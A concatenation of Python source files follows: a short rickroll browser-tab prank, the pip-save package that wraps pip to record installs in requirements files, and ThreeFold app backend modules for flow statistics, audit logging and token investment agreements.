p1.open_new_tab("https://abhinavranish.gq")#my website
p1.open_new_tab("https://github.com/abhinav-ranish")#my github
p1.open_new("https://www.youtube.com/watch?v=dQw4w9WgXcQ")#rickroll link
print("Noob Gamer Get Rolled. For More Visit abhinaranish.gq")#fake shit
|
kgritesh/pip-save | setup.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
import re
from setuptools import setup, find_packages
def get_readme():
"""Get the contents of the ``README.rst`` file as a Unicode string."""
try:
import pypandoc
description = pypandoc.convert('README.md', 'rst')
except (IOError, ImportError):
description = open('README.md').read()
return description
def get_absolute_path(*args):
"""Transform relative pathnames into absolute pathnames."""
directory = os.path.dirname(os.path.abspath(__file__))
return os.path.join(directory, *args)
def get_version():
"""Get the version of `package` (by extracting it from the source code)."""
module_path = get_absolute_path('pip_save', '__init__.py')
with open(module_path) as handle:
for line in handle:
match = re.match(r'^__version__\s*=\s*["\']([^"\']+)["\']$', line)
if match:
return match.group(1)
raise Exception("Failed to extract version from %s!" % module_path)
requirements = [
'six == 1.9.0',
]
test_requirements = [
]
setup(
name='pip-save',
version=get_version(),
description="A wrapper around pip to add `npm --save` style functionality to pip",
long_description=get_readme(),
author="<NAME>",
author_email='<EMAIL>',
url='https://github.com/kgritesh/pip-save',
packages=find_packages(),
entry_points={
'console_scripts': ['pip-save = pip_save.cli:main'],
},
include_package_data=True,
install_requires=requirements,
license="ISCL",
zip_safe=False,
keywords='pip-save',
classifiers=[
'Development Status :: 4 - Beta',
'Intended Audience :: Information Technology',
'Intended Audience :: System Administrators',
'License :: OSI Approved :: ISC License (ISCL)',
'Operating System :: MacOS :: MacOS X',
'Operating System :: Microsoft :: Windows',
'Operating System :: POSIX :: Linux',
'Operating System :: Unix',
'License :: OSI Approved :: ISC License (ISCL)',
'Natural Language :: English',
'Programming Language :: Python :: 2.6',
'Programming Language :: Python :: 2.7',
'Programming Language :: Python :: 3',
'Programming Language :: Python :: 3.3',
'Programming Language :: Python :: 3.4',
'Programming Language :: Python :: 3.5',
'Topic :: Software Development :: Build Tools',
'Topic :: Software Development :: Libraries :: Python Modules',
'Topic :: System :: Archiving :: Packaging',
'Topic :: System :: Installation/Setup',
'Topic :: System :: Software Distribution',
],
test_suite='tests',
tests_require=test_requirements
)
|
kgritesh/pip-save | pip_save/cli.py | <filename>pip_save/cli.py<gh_stars>10-100
#!/usr/bin/env python
from __future__ import absolute_import
import argparse
import operator
import os
import subprocess
import sys
from collections import OrderedDict
from six.moves.configparser import ConfigParser
import functools
from pip.req import InstallRequirement
from pkg_resources import WorkingSet, Requirement
DEFAULT_CONFIG_FILE = '.pipconfig'
DEFAULT_OPTIONS = {
'requirement': 'requirements.txt',
'use_compatible': False,
'requirement_dev': '%(requirement)s'
}
def parse_arguments():
parser = argparse.ArgumentParser(description='Run Pip Command')
parser.add_argument('command',
choices=['install', 'uninstall'],
help="command to execute")
parser.add_argument('-e', '--editable', dest='editables',
action='append', default=[],
metavar='path/url',
help=('Install a project in editable mode (i.e. setuptools '
'"develop mode") from a local project path or a '
'VCS url.'), )
parser.add_argument('--config', dest='config_file',
default=DEFAULT_CONFIG_FILE,
help=(
'Config File To be used'
))
parser.add_argument('--dev', dest='dev_requirement',
default=False, action='store_true',
help=('Mark the requirement as a dev requirement and hence its '
'removed or added to the dev requirement file'))
return parser
def parse_config(config_file=DEFAULT_CONFIG_FILE):
if not os.path.exists(config_file):
config_dict = dict(DEFAULT_OPTIONS)
config_dict['requirement_dev'] = config_dict['requirement']
return config_dict
config_dict = {}
config = ConfigParser(DEFAULT_OPTIONS)
config.read(config_file)
config_dict['requirement'] = config.get('pip-save', 'requirement')
config_dict['use_compatible'] = config.getboolean('pip-save',
'use_compatible')
config_dict['requirement_dev'] = config.get('pip-save', 'requirement_dev')
return config_dict
def execute_pip_command(command, args):
pip_cmd = ['pip', command]
pip_cmd.extend(args)
return subprocess.call(pip_cmd)
def parse_requirement(pkgstring, comparator='=='):
ins = InstallRequirement.from_line(pkgstring)
pkg_name, specs = ins.name, str(ins.specifier)
if specs:
return pkg_name, specs
req = Requirement.parse(pkg_name)
working_set = WorkingSet()
dist = working_set.find(req)
if dist:
specs = "%s%s" % (comparator, dist.version)
return req.project_name, specs
def parse_editable_requirement(pkgstring):
ins = InstallRequirement.from_editable(pkgstring)
specs = '-e '
if ins.link:
return ins.name, specs + str(ins.link)
else:
return ins.name, specs + str(ins.specifier)
def sort_requirements(requirements_dict):
def compare(pkg1, pkg2):
name1, req_str1 = pkg1
name2, req_str2 = pkg2
if req_str2.startswith('-e'):
return -1
elif req_str1.startswith('-e'):
return 1
elif name1.lower() < name2.lower():
return -1
else:
return 1
return sorted(requirements_dict.items(),
key=functools.cmp_to_key(compare))
def read_requirements(requirement_file):
existing_requirements = OrderedDict()
with open(requirement_file, "r+") as fd:
for line in fd.readlines():
line = line.strip()
if not line or line.startswith('#') or line.startswith('-r'):
continue
editable = line.startswith('-e')
line = line.replace('-e ', '').strip()
if editable:
pkg_name, link = parse_editable_requirement(line)
existing_requirements[pkg_name] = link
else:
pkg_name, specifier = parse_requirement(line)
existing_requirements[pkg_name] = '{}{}'.format(pkg_name,
specifier)
return existing_requirements
def write_requirements(requirement_file, requirements_dict):
with open(requirement_file, "w") as fd:
for _, req_str in sort_requirements(requirements_dict):
fd.write('{}\n'.format(req_str))
def update_requirement_file(config_dict, command, packages, editables,
dev_requirement=False):
requirement_file = config_dict['requirement_dev'] \
if dev_requirement else config_dict['requirement']
existing_requirements = read_requirements(requirement_file)
update_requirements = OrderedDict()
for pkg in packages:
pkg_name, specs = parse_requirement(pkg)
update_requirements[pkg_name] = '{}{}'.format(pkg_name, specs)
for pkg in editables:
pkg_name, link = parse_editable_requirement(pkg)
update_requirements[pkg_name] = link
if command == 'install':
existing_requirements.update(update_requirements)
else:
for key in update_requirements:
if key in existing_requirements:
del existing_requirements[key]
write_requirements(requirement_file, existing_requirements)
def main():
parser = parse_arguments()
args, remaining_args = parser.parse_known_args()
packages = []
for arg in remaining_args:
if not arg.startswith('-'):
packages.append(arg)
for editable in args.editables:
remaining_args.extend(['-e', '{}'.format(editable)])
pip_output = execute_pip_command(args.command, remaining_args)
if pip_output != 0:
return
config_dict = parse_config(args.config_file)
update_requirement_file(config_dict, args.command, packages,
args.editables, args.dev_requirement)
return 0
if __name__ == '__main__':
sys.exit(main())
|
kgritesh/pip-save | tests/test_pip_save.py | <reponame>kgritesh/pip-save<filename>tests/test_pip_save.py
#!/usr/bin/env python
from __future__ import absolute_import
import os
import mock
import functools
from pip import get_installed_distributions
from six.moves.configparser import ConfigParser
from pip_save.cli import parse_config, parse_requirement
from pip.operations.freeze import freeze
def get_installed_packages():
installed_packages = []
for line in freeze:
installed_packages.append(line)
os.chdir(os.path.abspath(os.path.dirname(__file__)))
INSTALLED_PACKAGES = get_installed_distributions()
def prepare_config_file(config_options):
def read(config_parser, config_file):
config_parser.add_section('pip-save')
for key, value in config_options.items():
config_parser.set('pip-save', key, str(value))
return config_parser
return read
def test_parse_config_file_not_exists():
default_options = {
'requirement': 'requirements.txt',
'use_compatible': False,
'requirement_dev': 'requirements.txt'
}
config_dict = parse_config('xyz.txt')
assert config_dict == default_options
def test_parse_config_with_requirements_dev():
config_dict = parse_config('fixtures/default_config')
assert config_dict == {
'requirement': 'requirements.txt',
'use_compatible': False,
'requirement_dev': 'requirements_dev.txt'
}
def test_parse_config_without_requirements_dev():
config_dict = parse_config('fixtures/config_without_requirement_dev')
assert config_dict == {
'requirement': 'requirements.txt',
'use_compatible': False,
'requirement_dev': 'requirements.txt',
}
def test_parse_requirement_installed_package_name():
pkg = INSTALLED_PACKAGES[0]
pkgname, specs = parse_requirement(pkg.key)
assert pkgname == pkg.key
assert specs == '=={}'.format(pkg.version)
def test_parse_requirement_installed_with_specifier():
pkg = INSTALLED_PACKAGES[-1]
pkgstring = '{}~={}'.format(pkg.key, pkg.version)
pkgname, specs = parse_requirement(pkgstring)
assert pkgname == pkg.key
assert specs == '~={}'.format(pkg.version)
def test_parse_requirement_uninstalled_without_specifier():
pkgname, specs = parse_requirement('xyz')
assert pkgname == 'xyz'
assert specs is ''
def test_parse_requirement_uninstalled_with_specifier():
pkgname, specs = parse_requirement('xyz==1.0.2')
assert pkgname == 'xyz'
assert specs == '==1.0.2'
|
kgritesh/pip-save | pip_save/__init__.py | # -*- coding: utf-8 -*-
__author__ = '<NAME>'
__email__ = '<EMAIL>'
__version__ = '0.2.0'
|
threefoldfoundation/app_backend | plugins/tff_backend/migrations/_007_referral_in_user_data.py | <filename>plugins/tff_backend/migrations/_007_referral_in_user_data.py
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
from framework.bizz.job import run_job
from plugins.tff_backend.bizz.user import store_referral_in_user_data
from plugins.tff_backend.models.user import TffProfile
def migrate(dry_run=False):
run_job(_profiles_with_referrer, [], store_referral_in_user_data, [])
def _profiles_with_referrer():
return TffProfile.query()
|
threefoldfoundation/app_backend | plugins/tff_backend/models/statistics.py | # -*- coding: utf-8 -*-
# Copyright 2018 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.4@@
from google.appengine.ext import ndb
from enum import IntEnum
from framework.models.common import NdbModel
from plugins.tff_backend.plugin_consts import NAMESPACE
class FlowRunStatus(IntEnum):
STARTED = 0
IN_PROGRESS = 10
STALLED = 20
CANCELED = 30
FINISHED = 40
FLOW_RUN_STATUSES = map(int, FlowRunStatus)
class StepStatistics(NdbModel):
time_taken = ndb.IntegerProperty()
# Statistics calculated whenever a step is added
class FlowRunStatistics(NdbModel):
last_step_date = ndb.DateTimeProperty()
total_time = ndb.IntegerProperty() # Time it took to go through the flow in seconds
steps = ndb.StructuredProperty(StepStatistics, repeated=True)
next_step = ndb.StringProperty()
class FlowRun(NdbModel):
NAMESPACE = NAMESPACE
flow_name = ndb.StringProperty()
start_date = ndb.DateTimeProperty()
status = ndb.IntegerProperty(choices=FLOW_RUN_STATUSES)
statistics = ndb.StructuredProperty(FlowRunStatistics) # type: FlowRunStatistics
steps = ndb.JsonProperty(repeated=True, compressed=True)
tag = ndb.StringProperty()
user = ndb.StringProperty()
@property
def id(self):
return self.key.id()
@classmethod
def create_key(cls, parent_message_key):
return ndb.Key(cls, parent_message_key, namespace=cls.NAMESPACE)
@classmethod
def list(cls):
return cls.query() \
.order(-cls.start_date)
@classmethod
def list_by_flow_name(cls, flow_name):
return cls.query() \
.filter(cls.flow_name == flow_name) \
.order(-cls.start_date)
@classmethod
def list_by_start_date(cls, start_date):
return cls.query() \
.filter(cls.start_date > start_date) \
.order(-cls.start_date)
@classmethod
def list_distinct_flows(cls):
return [f.flow_name for f in cls.query(projection=[cls.flow_name], group_by=[cls.flow_name]).fetch()]
@classmethod
def list_by_status_and_last_step_date(cls, status, date):
return cls.query().filter(cls.status == status).filter(cls.statistics.last_step_date < date)
@classmethod
def list_by_user(cls, user):
return cls.query(cls.user == user).order(-cls.start_date)
@classmethod
def list_by_user_and_flow(cls, flow_name, user):
return cls.query(cls.flow_name == flow_name, cls.user == user).order(-cls.start_date)
|
threefoldfoundation/app_backend | plugins/tff_backend/to/iyo/see.py | <gh_stars>0
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
from framework.to import TO, convert_to_unicode
from mcfw.properties import unicode_property, typed_property, long_property
class IYOSeeDocumenVersion(TO):
version = long_property('1')
category = unicode_property('2')
link = unicode_property('3')
content_type = unicode_property('4')
markdown_short_description = unicode_property('5')
markdown_full_description = unicode_property('6')
creation_date = unicode_property('7')
start_date = unicode_property('8')
end_date = unicode_property('9')
keystore_label = unicode_property('10')
signature = unicode_property('11')
def __init__(self, version=1, category=None, link=None, content_type=None, markdown_short_description=None,
markdown_full_description=None, creation_date=None, start_date=None, end_date=None,
keystore_label=None, signature=None, **kwargs):
self.version = version
self.category = convert_to_unicode(category)
self.link = convert_to_unicode(link)
self.content_type = convert_to_unicode(content_type)
self.markdown_short_description = convert_to_unicode(markdown_short_description)
self.markdown_full_description = convert_to_unicode(markdown_full_description)
self.creation_date = convert_to_unicode(creation_date)
self.start_date = convert_to_unicode(start_date)
self.end_date = convert_to_unicode(end_date)
self.keystore_label = convert_to_unicode(keystore_label)
self.signature = convert_to_unicode(signature)
class IYOSeeDocument(TO):
username = unicode_property('1')
globalid = unicode_property('2')
uniqueid = unicode_property('3')
versions = typed_property('4', IYOSeeDocumenVersion, True) # type: list[IYOSeeDocumenVersion]
def __init__(self, username=None, globalid=None, uniqueid=None, versions=None, **kwargs):
self.username = convert_to_unicode(username)
self.globalid = convert_to_unicode(globalid)
self.uniqueid = convert_to_unicode(uniqueid)
if not versions:
versions = []
self.versions = [IYOSeeDocumenVersion(**v) for v in versions]
class IYOSeeDocumentView(IYOSeeDocumenVersion):
username = unicode_property('51')
globalid = unicode_property('52')
uniqueid = unicode_property('53')
def __init__(self, username=None, globalid=None, uniqueid=None, version=1, category=None, link=None,
content_type=None, markdown_short_description=None, markdown_full_description=None,
creation_date=None, start_date=None, end_date=None, keystore_label=None, signature=None, **kwargs):
super(IYOSeeDocumentView, self).__init__(version, category, link, content_type, markdown_short_description,
markdown_full_description, creation_date, start_date, end_date,
keystore_label, signature, **kwargs)
self.username = convert_to_unicode(username)
self.globalid = convert_to_unicode(globalid)
self.uniqueid = convert_to_unicode(uniqueid)
|
threefoldfoundation/app_backend | plugins/tff_backend/api/audit.py | # -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
from mcfw.exceptions import HttpBadRequestException
from mcfw.restapi import rest
from mcfw.rpc import returns, arguments
from plugins.tff_backend.bizz.audit.audit import list_audit_logs_details, list_audit_logs, list_audit_logs_by_type, \
list_audit_logs_by_user
from plugins.tff_backend.bizz.audit.mapping import AuditLogMapping
from plugins.tff_backend.bizz.authentication import Scopes
from plugins.tff_backend.to.audit import AuditLogDetailsListTO
@rest('/audit-logs', 'get', Scopes.BACKEND_ADMIN)
@returns(AuditLogDetailsListTO)
@arguments(page_size=(int, long), cursor=unicode, type=unicode, user_id=unicode, include_reference=bool)
def api_list_audit_logs(page_size=100, cursor=None, type=None, user_id=None, include_reference=True):
page_size = min(1000, page_size)
if type and type not in AuditLogMapping:
raise HttpBadRequestException('invalid_type', {'allowed_types': AuditLogMapping.keys()})
if type:
query_results = list_audit_logs_by_type(type, page_size, cursor)
elif user_id:
query_results = list_audit_logs_by_user(user_id, page_size, cursor)
else:
query_results = list_audit_logs(page_size, cursor)
return list_audit_logs_details(query_results, include_reference)
|
threefoldfoundation/app_backend | plugins/tff_backend/bizz/audit/audit.py | # -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
import logging
from functools import wraps
from google.appengine.ext import ndb
from six import string_types
from enum import Enum
from framework.bizz.authentication import get_current_session
from framework.to import TO
from plugins.tff_backend.bizz.audit import mapping
from plugins.tff_backend.models.audit import AuditLog
from plugins.tff_backend.to.audit import AuditLogDetailsTO, AuditLogDetailsListTO
def audit(audit_type, reference_arg):
"""
Decorator to be used with @rest function calls
Args:
audit_type (mapping.AuditLogType): Use a property of mapping.AuditLogType which has a reference to the db model
reference_arg (Union[basestring, list[basestring]]: kwarg(s) of the @rest function which are needed to call
the create_key method of the model
"""
def wrap(f):
@wraps(f)
def wrapped(*args, **kwargs):
if isinstance(reference_arg, string_types):
key_args = kwargs.get(reference_arg)
else:
key_args = (kwargs.pop(arg) for arg in reference_arg)
kwargs.pop('accept_missing')
# At this point kwargs is the rest of the kwargs that aren't needed to construct the key
# In most cases it will only contain 'data' which is the post/put data
audit_log(audit_type, key_args, kwargs)
return f(*args, **kwargs)
return wrapped
return wrap
def audit_log(audit_type, key_args, data, user_id=None):
"""
Logs an action of the current user. reference_args can be the arguments needed to call the create_key method of
the model, or an ndb key.
Args:
audit_type (mapping.AuditLogType)
key_args(Union[string_types, tuple, ndb.Key])
data (Union[TO, dict])
user_id (unicode)
Returns:
ndb.Future
"""
if not user_id:
session = get_current_session()
user_id = session and session.user_id
model = mapping.AuditLogMapping.get(audit_type)
if not isinstance(model, mapping.AuditLogMappingTypes):
logging.error('model %s is not a supported audit log type', model)
return
if isinstance(key_args, (string_types, int, long)):
reference = model.create_key(key_args)
elif isinstance(key_args, tuple):
# Model must have create_key method
reference = model.create_key(*key_args)
else:
assert isinstance(key_args, ndb.Key)
reference = key_args
if isinstance(audit_type, Enum):
audit_type = audit_type.value
data_ = {k: data[k].to_dict() if isinstance(data[k], TO) else data[k] for k in data}
return AuditLog(audit_type=audit_type, reference=reference, user_id=user_id, data=data_).put_async()
def list_audit_logs(page_size, cursor):
# type: (long, unicode) -> tuple[list[AuditLog], ndb.Cursor, bool]
return AuditLog.list().fetch_page(page_size, start_cursor=ndb.Cursor(urlsafe=cursor))
def list_audit_logs_by_type(audit_type, page_size, cursor):
# type: (mapping.AuditLogType, long, unicode) -> tuple[list[AuditLog], unicode, bool]
return AuditLog.list_by_type(audit_type).fetch_page(page_size, start_cursor=ndb.Cursor(urlsafe=cursor))
def list_audit_logs_by_user(user_id, page_size, cursor):
# type: (unicode, long, unicode) -> tuple[list[AuditLog], unicode, bool]
return AuditLog.list_by_user(user_id).fetch_page(page_size, start_cursor=ndb.Cursor(urlsafe=cursor))
def list_audit_logs_details(query_results, include_reference=True):
# type: (tuple[list[AuditLog], ndb.Cursor, bool], bool) -> AuditLogDetailsListTO
if not include_reference:
results = [AuditLogDetailsTO.from_model(log_model) for log_model in query_results[0]]
else:
referenced_models = ndb.get_multi([log_model.reference for log_model in query_results[0]])
results = []
for log_model, referenced_model in zip(query_results[0], referenced_models):
results.append(AuditLogDetailsTO.from_model(log_model, referenced_model))
websafe_cursor = query_results[1].to_websafe_string() if query_results[1] else None
return AuditLogDetailsListTO(cursor=websafe_cursor, more=query_results[2], results=results)
|
threefoldfoundation/app_backend | plugins/tff_backend/bizz/investor.py | # -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
import base64
import json
import logging
from collections import defaultdict
from types import NoneType
from google.appengine.api import users
from google.appengine.ext import deferred, ndb
from babel.numbers import get_currency_name
from framework.consts import get_base_url, DAY
from framework.utils import now, azzert, try_or_defer
from mcfw.exceptions import HttpNotFoundException, HttpBadRequestException
from mcfw.properties import object_factory
from mcfw.rpc import returns, arguments
from plugins.rogerthat_api.api import messaging
from plugins.rogerthat_api.exceptions import BusinessException
from plugins.rogerthat_api.to import UserDetailsTO, MemberTO
from plugins.rogerthat_api.to.messaging import Message, AttachmentTO
from plugins.rogerthat_api.to.messaging.flow import FLOW_STEP_MAPPING, FormFlowStepTO
from plugins.rogerthat_api.to.messaging.forms import SignTO, SignFormTO, FormResultTO, FormTO, SignWidgetResultTO
from plugins.rogerthat_api.to.messaging.service_callback_results import FlowMemberResultCallbackResultTO, \
FlowCallbackResultTypeTO, TYPE_FLOW
from plugins.tff_backend.bizz import get_tf_token_api_key, intercom_helpers, get_mazraa_api_key
from plugins.tff_backend.bizz.agreements import get_bank_account_info
from plugins.tff_backend.bizz.authentication import RogerthatRoles
from plugins.tff_backend.bizz.email import send_emails_to_support
from plugins.tff_backend.bizz.gcs import upload_to_gcs
from plugins.tff_backend.bizz.global_stats import get_global_stats
from plugins.tff_backend.bizz.intercom_helpers import IntercomTags
from plugins.tff_backend.bizz.iyo.utils import get_username
from plugins.tff_backend.bizz.kyc import save_utility_bill
from plugins.tff_backend.bizz.kyc.onfido_bizz import get_applicant
from plugins.tff_backend.bizz.kyc.rogerthat_callbacks import kyc_part_1
from plugins.tff_backend.bizz.messages import send_message_and_email
from plugins.tff_backend.bizz.rogerthat import create_error_message, send_rogerthat_flow
from plugins.tff_backend.bizz.service import get_main_branding_hash, add_user_to_role
from plugins.tff_backend.bizz.todo import update_investor_progress
from plugins.tff_backend.bizz.todo.investor import InvestorSteps
from plugins.tff_backend.bizz.user import user_code, get_tff_profile
from plugins.tff_backend.consts.kyc import country_choices
from plugins.tff_backend.consts.payment import TOKEN_TFT, TOKEN_ITFT
from plugins.tff_backend.dal.investment_agreements import get_investment_agreement
from plugins.tff_backend.models.global_stats import GlobalStats
from plugins.tff_backend.models.investor import InvestmentAgreement, PaymentInfo
from plugins.tff_backend.models.user import KYCStatus, TffProfile
from plugins.tff_backend.plugin_consts import KEY_ALGORITHM, KEY_NAME, \
SUPPORTED_CRYPTO_CURRENCIES, CRYPTO_CURRENCY_NAMES, BUY_TOKENS_FLOW_V3, BUY_TOKENS_FLOW_V3_PAUSED, BUY_TOKENS_TAG, \
BUY_TOKENS_FLOW_V3_KYC_MENTION, FLOW_CONFIRM_INVESTMENT, FLOW_INVESTMENT_CONFIRMED, FLOW_SIGN_INVESTMENT, \
BUY_TOKENS_FLOW_V5, INVEST_FLOW_TAG, FLOW_HOSTER_REMINDER, SCHEDULED_QUEUE, FLOW_UTILITY_BILL_RECEIVED
from plugins.tff_backend.to.investor import InvestmentAgreementTO, CreateInvestmentAgreementTO
from plugins.tff_backend.utils import get_step_value, round_currency_amount, get_key_name_from_key_string, get_step
from plugins.tff_backend.utils.app import create_app_user_by_email, get_app_user_tuple, create_app_user
INVESTMENT_TODO_MAPPING = {
InvestmentAgreement.STATUS_CANCELED: None,
InvestmentAgreement.STATUS_CREATED: InvestorSteps.FLOW_AMOUNT,
InvestmentAgreement.STATUS_SIGNED: InvestorSteps.PAY,
InvestmentAgreement.STATUS_PAID: InvestorSteps.ASSIGN_TOKENS,
}
@returns(FlowMemberResultCallbackResultTO)
@arguments(message_flow_run_id=unicode, member=unicode, steps=[object_factory("step_type", FLOW_STEP_MAPPING)],
end_id=unicode, end_message_flow_id=unicode, parent_message_key=unicode, tag=unicode, result_key=unicode,
flush_id=unicode, flush_message_flow_id=unicode, service_identity=unicode, user_details=UserDetailsTO,
flow_params=unicode)
def invest_tft(message_flow_run_id, member, steps, end_id, end_message_flow_id, parent_message_key, tag, result_key,
flush_id, flush_message_flow_id, service_identity, user_details, flow_params):
return invest(message_flow_run_id, member, steps, end_id, end_message_flow_id, parent_message_key, tag, result_key,
flush_id, flush_message_flow_id, service_identity, user_details, flow_params, TOKEN_TFT)
@returns(FlowMemberResultCallbackResultTO)
@arguments(message_flow_run_id=unicode, member=unicode, steps=[object_factory("step_type", FLOW_STEP_MAPPING)],
end_id=unicode, end_message_flow_id=unicode, parent_message_key=unicode, tag=unicode, result_key=unicode,
flush_id=unicode, flush_message_flow_id=unicode, service_identity=unicode, user_details=UserDetailsTO,
flow_params=unicode)
def invest_itft(message_flow_run_id, member, steps, end_id, end_message_flow_id, parent_message_key, tag, result_key,
flush_id, flush_message_flow_id, service_identity, user_details, flow_params):
return invest(message_flow_run_id, member, steps, end_id, end_message_flow_id, parent_message_key, tag, result_key,
flush_id, flush_message_flow_id, service_identity, user_details, flow_params, TOKEN_ITFT)
@returns(FlowMemberResultCallbackResultTO)
@arguments(message_flow_run_id=unicode, member=unicode, steps=[object_factory("step_type", FLOW_STEP_MAPPING)],
end_id=unicode, end_message_flow_id=unicode, parent_message_key=unicode, tag=unicode, result_key=unicode,
flush_id=unicode, flush_message_flow_id=unicode, service_identity=unicode, user_details=UserDetailsTO,
flow_params=unicode, token=unicode)
def invest(message_flow_run_id, member, steps, end_id, end_message_flow_id, parent_message_key, tag, result_key,
flush_id, flush_message_flow_id, service_identity, user_details, flow_params, token):
if flush_id == 'flush_kyc' or flush_id == 'flush_corporation':
# KYC flow started from within the invest flow
return kyc_part_1(message_flow_run_id, member, steps, end_id, end_message_flow_id, parent_message_key, tag,
result_key, flush_id, flush_message_flow_id, service_identity, user_details, flow_params)
try:
email = user_details.email
app_id = user_details.app_id
app_user = create_app_user_by_email(email, app_id)
logging.info('User %s wants to invest', email)
version = get_key_name_from_key_string(steps[0].message_flow_id)
currency = get_step_value(steps, 'message_get_currency').replace('_cur', '')
if version.startswith(BUY_TOKENS_FLOW_V3) or version.startswith(BUY_TOKENS_FLOW_V5):
amount = float(get_step_value(steps, 'message_get_order_size_ITO').replace(',', '.'))
token_count_float = get_token_count(currency, amount)
else:
token_count_float = float(get_step_value(steps, 'message_get_order_size_ITO'))
amount = get_investment_amount(currency, token_count_float)
username = get_username(app_user)
agreement = _create_investment_agreement(amount, currency, token, token_count_float, username, version,
status=InvestmentAgreement.STATUS_CREATED)
payment_info = []
usd_within_uae_step = get_step(steps, 'message_usd_within_uae')
if usd_within_uae_step and usd_within_uae_step.answer_id == 'button_yes':
payment_info.append(PaymentInfo.UAE.value)
agreement.payment_info.extend(payment_info)
agreement.put()
if version == BUY_TOKENS_FLOW_V3_PAUSED:
return None
utility_bill_step = get_step(steps, 'message_utility_bill')
if utility_bill_step:
azzert(utility_bill_step.answer_id == FormTO.POSITIVE)
url = utility_bill_step.get_value()
deferred.defer(save_utility_bill, url, TffProfile.create_key(get_username(user_details)))
tag = {
'__rt__.tag': INVEST_FLOW_TAG,
'investment_id': agreement.id
}
flow_params = {
'token': agreement.token,
'amount': agreement.amount,
'currency': agreement.currency
}
result = FlowCallbackResultTypeTO(flow=FLOW_CONFIRM_INVESTMENT,
tag=json.dumps(tag).decode('utf-8'),
force_language=None,
flow_params=json.dumps(flow_params))
return FlowMemberResultCallbackResultTO(type=TYPE_FLOW, value=result)
except Exception as e:
logging.exception(e)
return create_error_message()
def _create_investment_agreement(amount, currency, token, token_count_float, username, version, **kwargs):
tff_profile = get_tff_profile(username)
applicant = get_applicant(tff_profile.kyc.applicant_id)
name = '%s %s ' % (applicant.first_name, applicant.last_name)
address = '%s %s' % (applicant.addresses[0].street, applicant.addresses[0].building_number)
address += '\n%s %s' % (applicant.addresses[0].postcode, applicant.addresses[0].town)
country = filter(lambda c: c['value'] == applicant.addresses[0].country, country_choices)[0]['label']
address += '\n%s' % country
precision = 2
reference = user_code(username)
agreement = InvestmentAgreement(creation_time=now(),
username=username,
token=token,
amount=amount,
token_count=long(token_count_float * pow(10, precision)),
token_precision=precision,
currency=currency,
name=name,
address=address,
version=version,
reference=reference,
**kwargs)
return agreement
@returns(InvestmentAgreement)
@arguments(agreement=CreateInvestmentAgreementTO)
def create_investment_agreement(agreement):
# type: (CreateInvestmentAgreementTO) -> InvestmentAgreement
tff_profile = get_tff_profile(agreement.username)
if tff_profile.kyc.status != KYCStatus.VERIFIED:
raise HttpBadRequestException('cannot_invest_not_kyc_verified')
token_count_float = get_token_count(agreement.currency, agreement.amount)
agreement_model = _create_investment_agreement(agreement.amount, agreement.currency, agreement.token,
token_count_float, tff_profile.username, 'manually_created',
status=agreement.status, paid_time=agreement.paid_time,
sign_time=agreement.sign_time)
prefix, doc_content_base64 = agreement.document.split(',')
content_type = prefix.split(';')[0].replace('data:', '')
doc_content = base64.b64decode(doc_content_base64)
agreement_model.put()
pdf_name = InvestmentAgreement.filename(agreement_model.id)
upload_to_gcs(pdf_name, doc_content, content_type)
return agreement_model
def get_currency_rate(currency):
global_stats = GlobalStats.create_key(TOKEN_TFT).get() # type: GlobalStats
if currency == 'USD':
return global_stats.value
currency_stats = filter(lambda c: c.currency == currency, global_stats.currencies) # type: list[CurrencyValue]
if not currency_stats:
raise BusinessException('No stats are set for currency %s', currency)
return currency_stats[0].value
def get_investment_amount(currency, token_count):
# type: (unicode, float) -> float
return round_currency_amount(currency, get_currency_rate(currency) * token_count)
def get_token_count(currency, amount):
# type: (unicode, float) -> float
return amount / get_currency_rate(currency)
